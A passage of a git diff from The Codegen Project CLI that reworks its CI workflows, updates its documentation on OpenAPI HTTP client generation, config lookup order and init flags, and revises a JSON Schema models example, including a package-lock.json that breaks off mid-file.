diff --git a/.github/workflows/blackbox-testing.yml b/.github/workflows/blackbox-testing.yml
index ca7042f1..22c0cbdd 100644
--- a/.github/workflows/blackbox-testing.yml
+++ b/.github/workflows/blackbox-testing.yml
@@ -4,9 +4,24 @@ on:
types: [opened, reopened, synchronize, ready_for_review]
jobs:
test:
- name: BlackBox testing
+ name: BlackBox testing - ${{ matrix.bucket }}
if: "github.event.pull_request.draft == false &&!((github.actor == 'asyncapi-bot' && startsWith(github.event.pull_request.title, 'ci: update global workflows')) || (github.actor == 'asyncapi-bot' && startsWith(github.event.pull_request.title, 'chore(release):')) || (github.actor == 'allcontributors' && startsWith(github.event.pull_request.title, 'docs: add')))"
runs-on: ubuntu-latest
+ strategy:
+ fail-fast: false
+ matrix:
+ # The full 12-config x 23-file matrix is sharded into config buckets so
+ # no single job runs the whole (npm-install-heavy) cross-product. Each
+ # bucket lists config-name substrings (see test/blackbox/test_files.ts).
+ include:
+ - bucket: channels
+ configs: 'channels'
+ - bucket: client
+ configs: 'client'
+ - bucket: models
+ configs: 'payload,modelina'
+ - bucket: headers-params-jsonschema
+ configs: 'headers,parameters,jsonschema'
steps:
- name: Checkout repository
uses: actions/checkout@v3
@@ -22,4 +37,6 @@ jobs:
- name: Build library
run: npm install && npm run build
- name: Test output
+ env:
+ BLACKBOX_CONFIG: ${{ matrix.configs }}
run: npm run test:blackbox
\ No newline at end of file
diff --git a/.github/workflows/examples-testing.yml b/.github/workflows/examples-testing.yml
new file mode 100644
index 00000000..7c66cc6a
--- /dev/null
+++ b/.github/workflows/examples-testing.yml
@@ -0,0 +1,35 @@
+name: Examples smoke testing
+
+on:
+ pull_request:
+ paths:
+ - 'src/**'
+ - 'examples/**'
+ - 'package.json'
+ branches:
+ - main
+ types: [opened, reopened, synchronize, ready_for_review]
+
+jobs:
+ examples:
+ name: Generate every example against the PR build
+ runs-on: ubuntu-latest
+ if: "github.event.pull_request.draft == false"
+ steps:
+ - name: Checkout repository
+ uses: actions/checkout@v4
+ - name: Check package-lock version
+ uses: asyncapi/.github/.github/actions/get-node-version-from-package-lock@master
+ id: lockversion
+ - name: Setup Node.js
+ uses: actions/setup-node@v4
+ with:
+ node-version: "${{ steps.lockversion.outputs.version }}"
+ cache: 'npm'
+ cache-dependency-path: '**/package-lock.json'
+ - name: Install root dependencies
+ run: npm ci
+ - name: Smoke-test every example
+ # Builds + packs the CLI and generates every example against it. The
+ # exact same command runs locally: `npm run test:examples`.
+ run: npm run test:examples
diff --git a/.github/workflows/runtime-testing.yml b/.github/workflows/runtime-testing.yml
index 3c675991..ced73574 100644
--- a/.github/workflows/runtime-testing.yml
+++ b/.github/workflows/runtime-testing.yml
@@ -71,6 +71,18 @@ jobs:
service: ''
test-command: 'test:regular'
needs-service: false
+ - test-type: 'WebSocket'
+ service: ''
+ test-command: 'test:websocket'
+ needs-service: false
+ - test-type: 'Organization'
+ service: ''
+ test-command: 'test:organization'
+ needs-service: false
+ - test-type: 'Payload Types'
+ service: ''
+ test-command: 'test:payload-types'
+ needs-service: false
steps:
- name: Checkout repository
uses: actions/checkout@v4
diff --git a/.github/workflows/website-pr-testing.yml b/.github/workflows/website-pr-testing.yml
index b921eca6..552a02c4 100644
--- a/.github/workflows/website-pr-testing.yml
+++ b/.github/workflows/website-pr-testing.yml
@@ -1,53 +1,41 @@
name: Test website
on:
- pull_request_target:
+ pull_request:
paths:
- - 'website'
- - 'website/vercel.json'
+ - 'website/**'
+ - 'src/browser/**'
+ - 'esbuild.browser.mjs'
branches:
- main
types: [opened, reopened, synchronize, ready_for_review]
jobs:
- lighthouse-ci:
- name: Lighthouse CI
+ website-build:
+ name: Build website (incl. browser bundle)
runs-on: ubuntu-latest
-
+ if: "github.event.pull_request.draft == false"
steps:
- name: Checkout repository
- uses: actions/checkout@v3
+ uses: actions/checkout@v4
- name: Check package-lock version
uses: asyncapi/.github/.github/actions/get-node-version-from-package-lock@master
id: lockversion
- name: Setup Node.js
- uses: actions/setup-node@v3
+ uses: actions/setup-node@v4
with:
node-version: "${{ steps.lockversion.outputs.version }}"
cache: 'npm'
cache-dependency-path: '**/package-lock.json'
-
- - name: Website Install dependencies
- id: first-installation-website
- run: cd website && npm install --loglevel verbose
- continue-on-error: true
-
- - if: steps.first-installation-website.outputs.status == 'failure'
- name: Website Clear NPM cache and install deps again
- run: |
- cd website && npm cache clean --force
- cd website && npm install --loglevel verbose
-
- - name: Lint website
- run: cd website && npm run lint
-
+ - name: Install root dependencies
+ run: npm ci
+ - name: Build browser bundle
+ run: npm run build:browser
+ - name: Install website dependencies
+ run: cd website && npm ci
+ - name: Copy browser bundle into the website
+ run: cd website && npm run copy:bundle
+ - name: Verify the browser bundle was produced
+ run: test -f website/static/codegen.browser.mjs
- name: Build website
run: cd website && npm run build
-
- - name: Await Vercel Preview
- uses: patrickedqvist/wait-for-vercel-preview@v1.3.2
- id: vercel
- with:
- token: ${{ secrets.GITHUB_TOKEN }}
- max_timeout: 600
- check_interval: 10
diff --git a/.gitignore b/.gitignore
index 159478f2..0c83dd10 100644
--- a/.gitignore
+++ b/.gitignore
@@ -14,4 +14,6 @@ coverage
test/config/src/__gen__/
/playground
test/codegen/generators/*/output
-.claude
\ No newline at end of file
+.claude
+# Packed CLI tarball from npm pack (e.g. test:examples)
+the-codegen-project-cli-*.tgz
diff --git a/docs/README.md b/docs/README.md
index 69f702a1..4fb85dbe 100644
--- a/docs/README.md
+++ b/docs/README.md
@@ -98,6 +98,8 @@ Connect AI assistants like Claude Code, Cursor, and Windsurf to The Codegen Proj
+
+
diff --git a/docs/configurations.md b/docs/configurations.md
index 2e2d4ba1..6a2a921b 100644
--- a/docs/configurations.md
+++ b/docs/configurations.md
@@ -29,14 +29,22 @@ For detailed usage instructions and all available options, see the [CLI usage do
## Configuration File Lookup
-If no explicit configuration file is sat, it will be looked for in the following order:
-- package.json
+If no explicit configuration file is sat, it will be looked for in the following order (earlier names take priority):
+- codegen.json
+- codegen.yaml
+- codegen.yml
+- codegen.js
+- codegen.ts
+- codegen.mjs
+- codegen.cjs
+- package.json (the `codegen` property)
- .codegenrc
- .codegenrc.json
- .codegenrc.yaml
- .codegenrc.yml
- .codegenrc.js
- .codegenrc.ts
+- .codegenrc.mjs
- .codegenrc.cjs
- .config/codegenrc
- .config/codegenrc.json
@@ -50,13 +58,6 @@ If no explicit configuration file is sat, it will be looked for in the following
- codegen.config.ts
- codegen.config.mjs
- codegen.config.cjs
-- codegen.json
-- codegen.yaml
-- codegen.yml
-- codegen.js
-- codegen.ts
-- codegen.mjs
-- codegen.cjs
## TypeScript Configuration
diff --git a/docs/contributing.md b/docs/contributing.md
index 05711334..0cfcd986 100644
--- a/docs/contributing.md
+++ b/docs/contributing.md
@@ -216,6 +216,8 @@ Prefix that follows specification is not enough though. Remember that the title
+
+
diff --git a/docs/generators/README.md b/docs/generators/README.md
index 077b4aa9..1ec4ffde 100644
--- a/docs/generators/README.md
+++ b/docs/generators/README.md
@@ -21,9 +21,11 @@ All available generators, across languages and inputs:
| **Inputs** | [`payloads`](./payloads.md) | [`parameters`](./parameters.md) | [`headers`](./headers.md) | [`types`](./types.md) | [`channels`](./channels.md) | [`client`](./client.md) | [`models`](./models.md) | [`custom`](./custom.md) |
|---|---|---|---|---|---|---|---|---|
| AsyncAPI | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
-| OpenAPI | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | ✅ | ✅ |
+| OpenAPI | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| JSON Schema | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | ✅ |
+> OpenAPI `channels` and `client` generate an HTTP client — see the [`openapi-http-client` example](../../examples/openapi-http-client/).
+
| **Languages** | [`payloads`](./payloads.md) | [`parameters`](./parameters.md) | [`headers`](./headers.md) | [`types`](./types.md) | [`channels`](./channels.md) | [`client`](./client.md) | [`models`](./models.md) | [`custom`](./custom.md) |
|---|---|---|---|---|---|---|---|---|
| TypeScript | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
diff --git a/docs/getting-started/README.md b/docs/getting-started/README.md
index ed898735..600ea40e 100644
--- a/docs/getting-started/README.md
+++ b/docs/getting-started/README.md
@@ -136,6 +136,13 @@ Add a configuration file, either manually or through the CLI;
codegen init
```
+For non-interactive/CI use, pass the generators explicitly (the `languages` flag defaults to `typescript`), for example:
+```sh
+codegen init --no-tty --input-type asyncapi --input-file ./asyncapi.yml \
+ --include-payloads --include-channels --channels-protocols nats
+```
+At least one generator must be selected — `codegen init` exits with an error rather than writing a configuration that would generate nothing. For AsyncAPI `channels`/`client`, choose the messaging protocols with `--channels-protocols` (repeatable). See [the usage documentation](../usage.md#codegen-init) for the full flag list.
+
diff --git a/docs/getting-started/generators.md b/docs/getting-started/generators.md
index 824a4241..cff7dec1 100644
--- a/docs/getting-started/generators.md
+++ b/docs/getting-started/generators.md
@@ -98,8 +98,8 @@ Different generators work with different input types:
| `parameters` | ✅ | ✅ | ❌ |
| `headers` | ✅ | ✅ | ❌ |
| `types` | ✅ | ✅ | ❌ |
-| `channels` | ✅ | ❌ | ❌ |
-| `client` | ✅ | ❌ | ❌ |
+| `channels` | ✅ | ✅ | ❌ |
+| `client` | ✅ | ✅ | ❌ |
| `models` | ✅ | ✅ | ✅ |
| `custom` | ✅ | ✅ | ✅ |
diff --git a/docs/inputs/asyncapi.md b/docs/inputs/asyncapi.md
index caf7a720..f8daf402 100644
--- a/docs/inputs/asyncapi.md
+++ b/docs/inputs/asyncapi.md
@@ -137,6 +137,19 @@ Here's a complete basic AsyncAPI document example to get you started:
}
```
+## Multi-message channels
+
+A channel may carry more than one message. Both the payload and header models reflect **all** of them:
+
+- **Payloads** — when two or more messages on a channel carry a payload, the generated payload is a `oneOf` union of every payload. A message with no payload is skipped from the union (with a warning) instead of truncating the rest; when exactly one message carries a payload, a plain (non-union) model is produced.
+- **Headers** — likewise, when two or more messages declare headers, the channel's header model is a `oneOf` union of each message's headers. A single header-bearing message produces the same standalone header model as before; header-less messages alongside header-bearing ones are skipped with a warning. Reply-only messages are excluded from this union — the channel headers model the request side, so a request never carries the reply's headers.
+
+This means adding a payload-less or header-less message to a multi-message channel no longer silently drops the other messages' models.
+
+## Servers and base URL
+
+When a channel is generated for the `http_client` protocol, the document's first `http`/`https` server URL becomes the generated client's default `baseUrl`. Non-HTTP servers (e.g. `nats`, `kafka`) are ignored for the HTTP client. See [HTTP client base URL precedence](../protocols/http_client.md#base-url).
+
## Extensions
To customize the code generation through the AsyncAPI document, use the `x-the-codegen-project` [extension object](https://www.asyncapi.com/docs/reference/specification/v3.0.0#specificationExtensions) with the following properties:
diff --git a/docs/inputs/openapi.md b/docs/inputs/openapi.md
index 8d60a5f1..46db6f60 100644
--- a/docs/inputs/openapi.md
+++ b/docs/inputs/openapi.md
@@ -16,8 +16,8 @@ Input support; `openapi`
| [`parameters`](../generators/parameters.md) | ✅ |
| [`headers`](../generators/headers.md) | ✅ |
| [`types`](../generators/types.md) | ✅ |
-| [`channels`](../generators/channels.md) | ❌ |
-| [`client`](../generators/client.md) | ❌ |
+| [`channels`](../generators/channels.md) | ✅ |
+| [`client`](../generators/client.md) | ✅ |
| [`custom`](../generators/custom.md) | ✅ |
| [`models`](../generators/custom.md) | ✅ |
@@ -36,6 +36,24 @@ Create a configuration file that specifies OpenAPI as the input type:
}
```
+## Content types
+
+Request and response bodies are extracted from JSON content types: `application/json`, `text/json`, and any type whose subtype ends in `+json` (for example `application/hal+json` or `application/vnd.api+json`). When several JSON content types are present, `application/json` is preferred.
+
+When an operation declares a body but **none** of its content types are JSON (for example an XML-only response), no payload model is generated and a warning naming the operation and its content types is logged — the omission is never silent.
+
+## Servers and base URL
+
+For the `channels`/`client` HTTP client, the document's first `http`/`https` server URL becomes the generated default `baseUrl`. Server URL variables are substituted with their declared defaults; a server whose variable has no default, or whose URL is relative, is skipped with a log. See [HTTP client base URL precedence](../protocols/http_client.md#base-url).
+
+## Current limitations
+
+These constructs are not generated and are reported with a warning rather than dropped silently:
+
+- **Cookie parameters** — `in: cookie` parameters have no generated handling and are dropped (path, query, and header parameters are unaffected).
+- **Webhooks** — the OpenAPI 3.1 `webhooks` section is not traversed.
+- **Non-JSON bodies** — only JSON-family content types produce payload models (see [Content types](#content-types)).
+
## Remote URL inputs
`inputPath` accepts an `http://` or `https://` URL. Optional authentication (bearer token, API key, or custom headers) is configured via the `auth` field. Cross-spec `$ref` URLs are also resolved through the same auth-aware HTTP client. See the [configurations guide](../configurations.md#remote-url-inputs) for examples and the [auth scope and security considerations](../configurations.md#auth-scope-and-security-considerations) section — the configured headers are sent to every `$ref` target as well as the root URL.
diff --git a/docs/migrations/v0.md b/docs/migrations/v0.md
index 7567262c..4db6171a 100644
--- a/docs/migrations/v0.md
+++ b/docs/migrations/v0.md
@@ -244,6 +244,8 @@ import * as NodeFetch from 'node-fetch';
+
+
diff --git a/docs/protocols/http_client.md b/docs/protocols/http_client.md
index 2a5d76f5..28e718cb 100644
--- a/docs/protocols/http_client.md
+++ b/docs/protocols/http_client.md
@@ -158,6 +158,16 @@ console.log(connect.data.safepayAccountId);
See the runnable [`openapi-http-client` example](https://github.com/the-codegen-project/cli/tree/main/examples/openapi-http-client) for a complete, self-contained setup.
+## Base URL
+
+Every generated call accepts an optional `baseUrl`. The value used at runtime follows this precedence, highest first:
+
+1. **`context.baseUrl`** passed to the call (e.g. `getUser({ baseUrl: 'https://api.example.com' })`) — always wins.
+2. **The document's first HTTP(S) server** — when the AsyncAPI `servers` (or OpenAPI `servers`) section declares an `http`/`https` server, its URL becomes the generated default. Non-HTTP servers (nats, kafka, …), relative URLs, and OpenAPI server URLs whose variables have no default are skipped.
+3. **`http://localhost:3000`** — the fallback when the document declares no usable HTTP(S) server.
+
+So a document with `servers: [{ url: 'https://api.example.com' }]` generates clients that target `https://api.example.com` by default, and you only pass `baseUrl` to override it (for example, to point at a staging environment).
+
## Authentication
The HTTP client uses a discriminated union for authentication, providing excellent TypeScript autocomplete support.
diff --git a/docs/usage.md b/docs/usage.md
index f516bca5..e29a6919 100644
--- a/docs/usage.md
+++ b/docs/usage.md
@@ -9,7 +9,7 @@ $ npm install -g @the-codegen-project/cli
$ codegen COMMAND
running command...
$ codegen (--version)
-@the-codegen-project/cli/0.79.0 linux-x64 node-v22.23.1
+@the-codegen-project/cli/0.79.0 darwin-arm64 node-v24.15.0
$ codegen --help [COMMAND]
USAGE
$ codegen COMMAND
@@ -27,7 +27,6 @@ USAGE
* [`codegen autocomplete [SHELL]`](#codegen-autocomplete-shell)
-* [`codegen base`](#codegen-base)
* [`codegen generate [FILE]`](#codegen-generate-file)
* [`codegen help [COMMAND]`](#codegen-help-command)
* [`codegen init`](#codegen-init)
@@ -65,23 +64,6 @@ EXAMPLES
_See code: [@oclif/plugin-autocomplete](https://github.com/oclif/plugin-autocomplete/blob/v3.2.45/src/commands/autocomplete/index.ts)_
-## `codegen base`
-
-```
-USAGE
- $ codegen base [--json] [--no-color] [--debug | [-q | -v | --silent] | ]
-
-FLAGS
- -q, --quiet Only show errors and warnings
- -v, --verbose Show detailed output
- --debug Show debug information
- --json Output results as JSON for scripting
- --no-color Disable colored output
- --silent Suppress all output except fatal errors
-```
-
-_See code: [src/commands/base.ts](https://github.com/the-codegen-project/cli/blob/v0.79.0/src/commands/base.ts)_
-
## `codegen generate [FILE]`
Generate code based on your configuration, use `init` to get started, `generate` to generate code from the configuration.
@@ -141,40 +123,45 @@ Initialize The Codegen Project in your project
USAGE
$ codegen init [--json] [--no-color] [--debug | | [--silent | -v | -q]] [--help] [--input-file
]
[--config-name ] [--input-type asyncapi|openapi|jsonschema] [--output-directory ] [--config-type
- esm|json|yaml|ts] [--languages typescript] [--no-tty] [--include-payloads] [--include-headers] [--include-client]
- [--include-parameters] [--include-channels] [--include-types] [--include-models] [--gitignore-generated]
+ esm|json|yaml|ts] [--languages typescript] [--channels-protocols
+ nats|kafka|mqtt|amqp|event_source|http_client|websocket] [--no-tty] [--include-payloads] [--include-headers]
+ [--include-client] [--include-parameters] [--include-channels] [--include-types] [--include-models]
+ [--gitignore-generated]
FLAGS
- -q, --quiet Only show errors and warnings
- -v, --verbose Show detailed output
- --config-name= [default: codegen] The name to use for the configuration file (dont include file
- extension)
- --config-type= [default: esm] The type of configuration file. 'esm', 'ts' can do everything, 'json'
- and 'yaml' is more restrictive. Read more here:
- https://github.com/the-codegen-project/cli/blob/main/docs/configurations.md
-
- --debug Show debug information
- --gitignore-generated Add generated output directories to .gitignore
- --help Show CLI help.
- --include-channels Include channels generation, available for TypeScript
- --include-client Include client generation, available for TypeScript
- --include-headers Include headers generation, available for TypeScript
- --include-models Include models generation, available for TypeScript
- --include-parameters Include parameters generation, available for TypeScript
- --include-payloads Include payloads generation, available for TypeScript
- --include-types Include types generation, available for TypeScript
- --input-file= File path for the code generation input such as AsyncAPI document
- --input-type= Input file type
-
- --json Output results as JSON for scripting
- --languages= Which languages do you wish to generate code for?
-
- --no-color Disable colored output
- --no-tty Do not use an interactive terminal
- --output-directory= [default: ./] Output configuration location, path to where the configuration file
- should be located. If relative path, the current working directory of the terminal
- will be used
- --silent Suppress all output except fatal errors
+ -q, --quiet Only show errors and warnings
+ -v, --verbose Show detailed output
+ --channels-protocols=... Which protocols to generate channel functions for (used with
+ --include-channels/--include-client on AsyncAPI inputs). Repeatable.
+
+ --config-name= [default: codegen] The name to use for the configuration file (dont include file
+ extension)
+ --config-type= [default: esm] The type of configuration file. 'esm', 'ts' can do everything,
+ 'json' and 'yaml' is more restrictive. Read more here:
+ https://github.com/the-codegen-project/cli/blob/main/docs/configurations.md
+
+ --debug Show debug information
+ --gitignore-generated Add generated output directories to .gitignore
+ --help Show CLI help.
+ --include-channels Include channels generation, available for TypeScript
+ --include-client Include client generation, available for TypeScript
+ --include-headers Include headers generation, available for TypeScript
+ --include-models Include models generation, available for TypeScript
+ --include-parameters Include parameters generation, available for TypeScript
+ --include-payloads Include payloads generation, available for TypeScript
+ --include-types Include types generation, available for TypeScript
+ --input-file= File path for the code generation input such as AsyncAPI document
+ --input-type= Input file type
+
+ --json Output results as JSON for scripting
+ --languages= [default: typescript] Which languages do you wish to generate code for?
+
+ --no-color Disable colored output
+ --no-tty Do not use an interactive terminal
+ --output-directory= [default: ./] Output configuration location, path to where the configuration
+ file should be located. If relative path, the current working directory of the
+ terminal will be used
+ --silent Suppress all output except fatal errors
DESCRIPTION
Initialize The Codegen Project in your project
diff --git a/examples/jsonschema-models/README.md b/examples/jsonschema-models/README.md
index 542b3254..faf32e0a 100644
--- a/examples/jsonschema-models/README.md
+++ b/examples/jsonschema-models/README.md
@@ -6,14 +6,14 @@ This example demonstrates how to use The Codegen Project CLI with JSON Schema in
This example shows:
- Using JSON Schema as input for the `models` generator
-- Generating TypeScript classes with properties, getters, and marshalling methods
+- Generating TypeScript classes with properties and getters/setters
- Working with complex schemas including nested objects, arrays, and enums
- Customizing the generated code with Modelina renderers
## Files
- `user-schema.json` - A comprehensive JSON Schema defining a User model
-- `codegen.config.js` - Configuration file specifying JSON Schema input and models generator
+- `codegen.js` - Configuration file specifying JSON Schema input and models generator
- `index.ts` - Example usage of the generated User model
- `tsconfig.json` - TypeScript configuration
- `package.json` - Project dependencies and scripts
@@ -39,11 +39,10 @@ This example shows:
The generator creates a `User` class in `src/models/User.ts` with:
-- **Properties**: All schema properties as private fields with getters
-- **Constructor**: Object parameter constructor with type validation
-- **Marshalling**: `marshal()` method to convert to JSON string
-- **Unmarshalling**: Static `unmarshal()` method to create instances from JSON
-- **Type Safety**: Full TypeScript type safety based on the JSON Schema
+- **Properties**: All schema properties as private fields with getters and setters
+- **Constructor**: Object parameter constructor
+- **Nested models**: `Profile`, `ProfilePreferences`, and enum types (`RolesItem`, `ProfilePreferencesTheme`) generated as their own classes/enums
+- **Type Safety**: Full TypeScript type safety based on the JSON Schema (e.g. `date-time` fields become `Date`)
## Schema Features Demonstrated
diff --git a/examples/jsonschema-models/codegen.config.js b/examples/jsonschema-models/codegen.config.js
deleted file mode 100644
index fb24f8de..00000000
--- a/examples/jsonschema-models/codegen.config.js
+++ /dev/null
@@ -1,29 +0,0 @@
-export default {
- inputType: 'jsonschema',
- inputPath: './user-schema.json',
- language: 'typescript',
- generators: [
- {
- preset: 'models',
- outputPath: './src/models',
- options: {
- modelType: 'class',
- enumType: 'enum'
- },
- renderers: [
- {
- class: {
- property: ({ content, property }) => {
- // Add JSDoc comments for better documentation
- const description = property.property.description;
- if (description) {
- return ` /** ${description} */\n${content}`;
- }
- return content;
- }
- }
- }
- ]
- }
- ]
-};
diff --git a/examples/jsonschema-models/index.ts b/examples/jsonschema-models/index.ts
index 529ecea0..41795bc7 100644
--- a/examples/jsonschema-models/index.ts
+++ b/examples/jsonschema-models/index.ts
@@ -1,53 +1,47 @@
-import { User } from './src/models';
+import { User } from './src/models/User';
+import { Profile } from './src/models/Profile';
+import { ProfilePreferences } from './src/models/ProfilePreferences';
+import { ProfilePreferencesTheme } from './src/models/ProfilePreferencesTheme';
+import { RolesItem } from './src/models/RolesItem';
// Example usage of generated User model
function demonstrateUserModel() {
console.log('=== JSON Schema Models Example ===\n');
- // Create a new user instance
+ // Create a new user instance. The generated models are classes, so nested
+ // objects and enums are constructed with their own generated types.
const user = new User({
id: '123e4567-e89b-12d3-a456-426614174000',
- name: 'John Doe',
+ reservedName: 'John Doe',
email: 'john.doe@example.com',
age: 30,
isActive: true,
- roles: ['user', 'moderator'],
- profile: {
+ roles: [RolesItem.USER, RolesItem.MODERATOR],
+ profile: new Profile({
bio: 'Software developer with a passion for TypeScript',
website: 'https://johndoe.dev',
avatar: 'https://example.com/avatar.jpg',
- preferences: {
- theme: 'dark',
+ preferences: new ProfilePreferences({
+ theme: ProfilePreferencesTheme.DARK,
notifications: true
- }
- },
- createdAt: new Date().toISOString(),
- updatedAt: new Date().toISOString()
+ })
+ }),
+ createdAt: new Date(),
+ updatedAt: new Date()
});
console.log('Created user:', user);
- console.log('User name:', user.name);
+ console.log('User name:', user.reservedName);
console.log('User email:', user.email);
console.log('User roles:', user.roles);
-
- // Demonstrate marshalling
- console.log('\n--- Marshalling ---');
- const jsonString = user.marshal();
- console.log('Marshalled to JSON:', jsonString);
-
- // Demonstrate unmarshalling
- console.log('\n--- Unmarshalling ---');
- const unmarshalledUser = User.unmarshal(jsonString);
- console.log('Unmarshalled user:', unmarshalledUser);
- console.log('Names match:', user.name === unmarshalledUser.name);
// Create a minimal user (only required fields)
console.log('\n--- Minimal User ---');
const minimalUser = new User({
id: '987fcdeb-51a2-43d1-9f12-123456789abc',
- name: 'Jane Smith',
+ reservedName: 'Jane Smith',
email: 'jane.smith@example.com',
- createdAt: new Date().toISOString()
+ createdAt: new Date()
});
console.log('Minimal user:', minimalUser);
diff --git a/examples/jsonschema-models/package-lock.json b/examples/jsonschema-models/package-lock.json
new file mode 100644
index 00000000..6123e29a
--- /dev/null
+++ b/examples/jsonschema-models/package-lock.json
@@ -0,0 +1,6291 @@
+{
+ "name": "@the-codegen-project/jsonschema-models-example",
+ "version": "1.0.0",
+ "lockfileVersion": 3,
+ "requires": true,
+ "packages": {
+ "": {
+ "name": "@the-codegen-project/jsonschema-models-example",
+ "version": "1.0.0",
+ "devDependencies": {
+ "@the-codegen-project/cli": "^0",
+ "typescript": "^5.0.0"
+ }
+ },
+ "node_modules/@apidevtools/json-schema-ref-parser": {
+ "version": "14.2.1",
+ "resolved": "https://registry.npmjs.org/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-14.2.1.tgz",
+ "integrity": "sha512-HmdFw9CDYqM6B25pqGBpNeLCKvGPlIx1EbLrVL0zPvj50CJQUHyBNBw45Muk0kEIkogo1VZvOKHajdMuAzSxRg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "js-yaml": "^4.1.0"
+ },
+ "engines": {
+ "node": ">= 20"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/philsturgeon"
+ },
+ "peerDependencies": {
+ "@types/json-schema": "^7.0.15"
+ }
+ },
+ "node_modules/@apidevtools/openapi-schemas": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/@apidevtools/openapi-schemas/-/openapi-schemas-2.1.0.tgz",
+ "integrity": "sha512-Zc1AlqrJlX3SlpupFGpiLi2EbteyP7fXmUOGup6/DnkRgjP9bgMM/ag+n91rsv0U1Gpz0H3VILA/o3bW7Ua6BQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/@apidevtools/swagger-methods": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/@apidevtools/swagger-methods/-/swagger-methods-3.0.2.tgz",
+ "integrity": "sha512-QAkD5kK2b1WfjDS/UQn/qQkbwF31uqRjPTrsCs5ZG9BQGAkjwvqGFjjPqAuzac/IYzpPtRzjCP1WrTuAIjMrXg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@apidevtools/swagger-parser": {
+ "version": "10.1.1",
+ "resolved": "https://registry.npmjs.org/@apidevtools/swagger-parser/-/swagger-parser-10.1.1.tgz",
+ "integrity": "sha512-u/kozRnsPO/x8QtKYJOqoGtC4kH6yg1lfYkB9Au0WhYB0FNLpyFusttQtvhlwjtG3rOwiRz4D8DnnXa8iEpIKA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@apidevtools/json-schema-ref-parser": "11.7.2",
+ "@apidevtools/openapi-schemas": "^2.1.0",
+ "@apidevtools/swagger-methods": "^3.0.2",
+ "@jsdevtools/ono": "^7.1.3",
+ "ajv": "^8.17.1",
+ "ajv-draft-04": "^1.0.0",
+ "call-me-maybe": "^1.0.2"
+ },
+ "peerDependencies": {
+ "openapi-types": ">=7"
+ }
+ },
+ "node_modules/@apidevtools/swagger-parser/node_modules/@apidevtools/json-schema-ref-parser": {
+ "version": "11.7.2",
+ "resolved": "https://registry.npmjs.org/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.7.2.tgz",
+ "integrity": "sha512-4gY54eEGEstClvEkGnwVkTkrx0sqwemEFG5OSRRn3tD91XH0+Q8XIkYIfo7IwEWPpJZwILb9GUXeShtplRc/eA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jsdevtools/ono": "^7.1.3",
+ "@types/json-schema": "^7.0.15",
+ "js-yaml": "^4.1.0"
+ },
+ "engines": {
+ "node": ">= 16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/philsturgeon"
+ }
+ },
+ "node_modules/@asyncapi/avro-schema-parser": {
+ "version": "3.0.24",
+ "resolved": "https://registry.npmjs.org/@asyncapi/avro-schema-parser/-/avro-schema-parser-3.0.24.tgz",
+ "integrity": "sha512-YMyr2S2heMrWHRyECknjHeejlZl5exUSv9nD1gTejAT13fSf0PqIRydZ9ZuoglCLBg55AeehypR2zLIBu/9kHQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@asyncapi/parser": "^3.1.0",
+ "@types/json-schema": "^7.0.11",
+ "avsc": "^5.7.6"
+ }
+ },
+ "node_modules/@asyncapi/modelina": {
+ "version": "6.0.0-next.15",
+ "resolved": "https://registry.npmjs.org/@asyncapi/modelina/-/modelina-6.0.0-next.15.tgz",
+ "integrity": "sha512-vXp3mPSGM5LxoXN9iN+cjAIdPWURxwo15DmwZ4lllUersz9tc40Ei1ultoZR01rm6z5E2/5ySXo1m8rz4/tpzg==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@apidevtools/json-schema-ref-parser": "^11.1.0",
+ "@apidevtools/swagger-parser": "^10.1.0",
+ "@asyncapi/multi-parser": "^2.3.0",
+ "@asyncapi/parser": "^3.4.0",
+ "change-case": "^4.1.2",
+ "fast-xml-parser": "^5.5.10",
+ "js-yaml": "^4.1.0",
+ "openapi-types": "^12.1.3",
+ "typescript-json-schema": "^0.58.1"
+ },
+ "engines": {
+ "node": ">=22"
+ }
+ },
+ "node_modules/@asyncapi/modelina/node_modules/@apidevtools/json-schema-ref-parser": {
+ "version": "11.9.3",
+ "resolved": "https://registry.npmjs.org/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.9.3.tgz",
+ "integrity": "sha512-60vepv88RwcJtSHrD6MjIL6Ta3SOYbgfnkHb+ppAVK+o9mXprRtulx7VlRl3lN3bbvysAfCS7WMVfhUYemB0IQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jsdevtools/ono": "^7.1.3",
+ "@types/json-schema": "^7.0.15",
+ "js-yaml": "^4.1.0"
+ },
+ "engines": {
+ "node": ">= 16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/philsturgeon"
+ }
+ },
+ "node_modules/@asyncapi/multi-parser": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/@asyncapi/multi-parser/-/multi-parser-2.3.0.tgz",
+ "integrity": "sha512-8hZ2k1l+X5ygGfZa3fFNueO5O00df2yCHsiKzVgJdUpL2wRqhaMnMkrPwO6vwYiRzhZdfzVmZ/p8Tz1+8Yn39Q==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@asyncapi/avro-schema-parser": "^3.0.3",
+ "@asyncapi/openapi-schema-parser": "^3.0.4",
+ "@asyncapi/parser": "*",
+ "@asyncapi/protobuf-schema-parser": "^3.3.0",
+ "@asyncapi/raml-dt-schema-parser": "^4.0.4",
+ "parserapiv1": "npm:@asyncapi/parser@^2.1.0",
+ "parserapiv2": "npm:@asyncapi/parser@3.0.0-next-major-spec.8"
